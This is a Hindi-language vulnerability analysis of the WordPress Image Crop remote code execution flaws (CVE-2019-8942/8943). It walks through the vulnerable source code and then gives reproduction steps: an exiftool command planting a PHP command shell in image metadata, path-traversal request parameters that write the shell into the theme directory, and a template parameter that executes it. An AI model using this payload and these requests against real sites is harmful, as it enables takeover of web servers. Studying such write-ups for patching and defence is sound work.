
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
यह दस्तावेज़ Wordpress 4.9.9 और 5.0.1 से पहले के संस्करणों में पाए गए कमजोरियों के बारे में है, जिन्हें WordPress Image CROP RCE के नाम से जाना जाता है, CVE-2019-8942 और CVE-2019-8943 पर चर्चा करता है।
| CVE संख्या | प्रकाशन तिथि | विवरण |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | wp_postmeta तालिका मान के माध्यम से दुर्भावनापूर्ण कोड वाले PHP को निष्पादित करना, रिमोट कोड निष्पादन संभव बनाने वाली कमजोरी |
| CVE-2019-8943 | 2019-2-19 | अपलोड की गई छवि के आकार की जानकारी बदलने जैसी कार्रवाई होने पर, meta_input पैरामीटर का उपयोग करके मनमाने पथ पर फ़ाइल सहेजने की कमजोरी |
CVE-2019-8942 एक छवि फ़ाइल के exif मेटाडेटा में PHP कोड डालकर उसे अपलोड करने के बाद, पोस्ट के wp_post_meta तालिका में wp_attached_file मान को बदलकर, छवि फ़ाइल को include करके मनमाना कोड निष्पादित किया जा सकता है।
CVE-2019-8943 छवि संपादन उपकरण का उपयोग करते समय छवि के आकार की जानकारी को अपडेट करने वाले wp_crop_image() फ़ंक्शन में, wp_postmeta तालिका के wp_attached_file मान को मनमाने स्ट्रिंग में बदलकर, मनमाने निर्देशिका में फ़ाइल लिखने का कार्य किया जा सकता है।
उपरोक्त दोनों कमजोरियों का एक साथ उपयोग करके, PHP कोड डाली गई छवि को मनमाने पथ पर अपलोड करने के बाद रिमोट कोड निष्पादन संभव है।
वर्डप्रेस में छवि अपलोड करने पर प्रारंभ में इसे wp-content/uploads निर्देशिका में ले जाया जाता है, और डेटाबेस में आंतरिक रूप से संदर्भित जानकारी (छवि स्वामी, अपलोड समय आदि जैसी मेटा जानकारी) को meta_key/meta_value युग्म के रूप में संग्रहीत किया जाता है।
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
डेटाबेस में उपरोक्तानुसार छवि के बारे में मेटा जानकारी संग्रहीत होती है, और उस छवि को लाने पर wp-content/uploads निर्देशिका में _wp_attached_file मेटा जानकारी का उपयोग करके फ़ाइल का नाम ढूंढा जाता है।
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
eidt_post() फ़ंक्शन POST डेटा को बिना किसी अलग फ़िल्टरिंग के $post_data वेरिएबल में संग्रहीत करता है और उपयोग करता है, और wp_update_post() → wp_insrt_post() से गुज़रे POST मान update_post_meta फ़ंक्शन द्वारा DB में संग्रहीत मेटाडेटा को अपडेट करते हैं। इस समय _wp_attached_file मान को अपडेट करके छवि लाने के मेटा डेटा के पथ में हेरफेर किया जा सकता है।
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
फ़ाइल का आकार बदलने पर कॉल किया जाने वाला wp_crop_image() फ़ंक्शन get_attached_file() फ़ंक्शन के माध्यम से फ़ाइल को संग्रहीत करने का पथ प्राप्त करता है, और get_attached_file() फ़ंक्शन get_post_meta() फ़ंक्शन के माध्यम से DB में संग्रहीत _wp_attached_file से फ़ाइल का पथ प्राप्त करके संशोधित छवि को संग्रहीत करता है।
उपरोक्त दो समस्याओं के कारण, परिणामस्वरूप POST द्वारा हेरफेर किए गए फ़ाइल पथ को प्राप्त करके उस स्थान पर संशोधित छवि को संग्रहीत करने की क्रिया होती है।
वर्डप्रेस पेज की थीम wp-content/themes निर्देशिका में संग्रहीत होती है, और प्रति पोस्ट _wp_page_template पोस्ट मेटाडेटा सेट करके, उस थीम निर्देशिका में फ़ाइल को टेम्पलेट के रूप में include() फ़ंक्शन के माध्यम से निष्पादित करके उपयोग किया जा सकता है।
इस समय, जैसे PHP में include() फ़ंक्शन का उपयोग किया जाता है, वैसे ही वह फ़ाइल पोस्ट में शामिल हो जाती है, इसलिए यदि PHP कोड वाली छवि include() की जाती है, तो यह PHP पेज की तरह व्यवहार करती है और PHP कोड निष्पादन संभव हो जाता है।
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
छवि मेटाडेटा के CopyrightNotice भाग में PHP शेल डालें



अपलोड की गई छवि पर क्लिक करें - अधिक विस्तृत संपादन - अपडेट पर क्लिक करने पर post.php को भेजे गए अनुरोध में &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell पैरामीटर जोड़कर भेजें
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
DB में _wp_attached_file में हेरफेर की पुष्टि हुई


अपलोड की गई छवि पर क्लिक करें - छवि संपादन - आकार बदलने के बाद "आकार" बटन पर क्लिक करने पर admin-ajax.php को भेजे गए अनुरोध में पैरामीटर में हेरफेर करके भेजें

action=crop-image&_ajax_nonce=<nonce>&id=<छविID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
cropped-shell.jpg फ़ाइल थीम निर्देशिका में बनाई गई है, इसकी पुष्टि हुई।

पोस्ट लिखें - post.php को भेजे गए अनुरोध में &meta_input[_wp_page_template]=cropped-shell.jpg पैरामीटर जोड़कर भेजें, फ़ाइल को पोस्ट में include करें

include की गई छवि फ़ाइल का PHP कोड काम करता है, और पोस्ट में POST तर्क के रूप में पारित मान सिस्टम कमांड के रूप में निष्पादित होता है, इसकी पुष्टि हुई।
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - python poc कोड
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - WP-CROP-RCE कमजोरी विश्लेषण रिपोर्ट
https://blog.naver.com/skinfosec2000/221517528775 - WP-CROP-RCE कमजोरी विश्लेषण रिपोर्ट
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - CVE आधिकारिक पृष्ठ
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - CVE आधिकारिक पृष्ठ